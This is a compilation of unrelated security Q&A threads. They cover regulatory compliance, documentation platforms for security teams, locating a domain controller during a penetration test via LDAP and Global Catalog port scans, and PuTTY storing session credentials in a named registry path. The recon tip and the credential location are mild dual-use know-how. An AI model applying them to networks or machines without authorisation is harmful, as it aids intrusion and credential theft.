How can one easily determine which IT Security related regulations apply? Joe Tech gets a job managing Acme Startup's IT services.  Acme Startup handles information of X, Y, and Z data types, and offers services A, B, and C.  Joe Tech is aware that some of these data types and/or services may fall under government regulations, but is not sure which.  He also knows that Acme Startup's CEO and/or founders aren't likely to be much more knowledgeable on the subject than he is.

Without bringing in a legal team, is there a way Joe Tech can easily determine what laws and/or regulations apply to the data and services Acme Startup handles?

(Note:  The particular real-life scenario this relates to is in Florida, U.S.A. but globally-applicable answers - if there can be any - are welcome.)

Core questions you need to ask - and these are covered by some of the answers in the questions @AviD has linked to and at high level by @Beth:

Are you handling payment card data? If so, PCI-DSS
Are you handling medical info? If so HIPAA in the US, DPA in UK
Are you handling personal info? If so DPA in the UK
Are you handling the personal data of any European subjects? If so, GDPR from May 25 2018
Are you a financial org? GLBA in the US, FSA regs in the UK
Do you trade on NYSE? SOX in US, JSOX in Japan - but similar requirements globally
Are you a retail bank? BASEL II (soon BASEL III)
Are you a European Insurer? Solvency II

There are equivalents for these in many jurisdictions


Documentation Platforms for Information Security Team I am looking for ideas on documentation platforms focused specifically for information security and response teams.  Is there anything that has worked well?  What are some of the unique advantages of one platform over another (e.g. wiki vs. CMS vs. network share)?  This platform will also need to have the ability to easily search through the content to find things based upon keyword as well.  What has worked or not worked for you in the past?  Lastly, the ability to categorize the information in some manner would likely be helpful.

Note that this will be an internally hosted site that will not be accessible from the internet.  This will also be limited to the information security team and staff.

We already have a ticketing system that is used throughout all of the IT department and would like to have a separate system used for documenting processes, procedures, policies items, possibly incidents, product evals, etc. that is exclusive to the IS team.

Ticketing platforms are normally used for this kind of thing.

Many products that perform asset management also include a ticking function:

Spiceworks
Footprints
Netclarity

Tracking information is important, but so is tracking everyone's activity, relating incidents, and ensuring that incidents are closed and handled properly. For that level of management, you need a ticketing system.


How can I determine the domain controller when it's not in DNS? On a penetration test going in blind for an organization, meaning no knowledge of network topology of design, no idea what the domain(s) might be, and domain controller is not apparent in DNS...how can it be determined what the Domain Controller is?

Assuming a dedicated DNS server instead of the DC handling DNS

Is there any way to determine what the domain controller is in this scenario?

Jumping on the NMAP bandwagon: also look for machines that have TCP port 389 (LDAP), 636 (LDAPS), 3268 (LDAP Global Catalog), or 3269 (LDAPS Global Catalog). The last two are particularly juicy, since only a DC can be a Global Catalog server.


Putty store cleartext credentials in the Windows Registry; isn't that a very insecure approach? I have been astonished when I've found that one of the most popular SSH client Putty stores cleartext credentials in Windows Registry:

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\

Passwords, or even ssh-key paths are disclosed, making it easier not only for malware, but even a simple bat file to steal the credentials.

What is the safer approach to store credentials?  I know that everything (encryption, etc...) can be reverse-engineered, but at least, makes the attempt a bit harder, thus, that might slightly mean a bit more security (compared to nothing).

I've switched to Kitty with portable mode (so, it only stores info in portable directory, and unless malware finds that folder directly, passwords seems a bit safer... But neither that turns out much secure, as malware can also scan HDD. But IMHO, still a bit "secure" compared to PUTTY, even if you have that directory on pluggable USB).

In the context of ssh, "credentials" can have two meanings.

Cleartext password

It is true, that registering cleartext password as cleartext, i.e. without any encryption or so, is at least a bad practice from a security view. However, encrypting them correctly is simply impossible: Putty somehow needs to access them on authenticating with the remote server. To do that, it would need to decrypt it. It does not matter, how would it be done, the same could be done also by a potential attacker. Encrypting the password would be security through obscurity, thus it would have not a very much security gain.

Although using same encryption, or using an improved ssh protocol which somehow circumvents it, would be obviously better, the difference is not so huge, as it seems on the first spot.

Public/private key pair

The public key can be sent to anywhere, the private should be kept secret. For private key, the case is the same in this context, as for the password: if someone can read out the private key, can also manipulate the Putty process to extract it for him.

The most important thing to know: to get the credentials, requires access to the client machine (either as an admin account, or account to the user). Having this access, even an encrypted password could be eavesdropped, for example by using a keylogger, or by binary hacking your Putty process.

It is an inherent security weakness of all password or key-based authentication system. The only solution for that, if the authentication happens on a different channel, by a different system, from which the connection was initiated. The are multiple solutions for this, multi-factor authentication or Kerberos. Most ssh software (including putty and the openssh server) supports the second, although it is rarely used in the daily practice.

The daily practice is to not allowing physical access to anybody to your client machine. If they have access, they can access much more than only your ssh keys/passwords.

About Kitty

The same stays for Kitty. It might not keep cleartext password or keys in the registry, but it still needs to get somehow access to your passwords/keys. Even if it store on a lesser public way, what Kitty does to decrypt/access them, also a malware can do (or a modified Kitty binary can do). Thus, Kitty increases the security of your system only a little bit. But it might give the false sense of security, what could be even dangerous.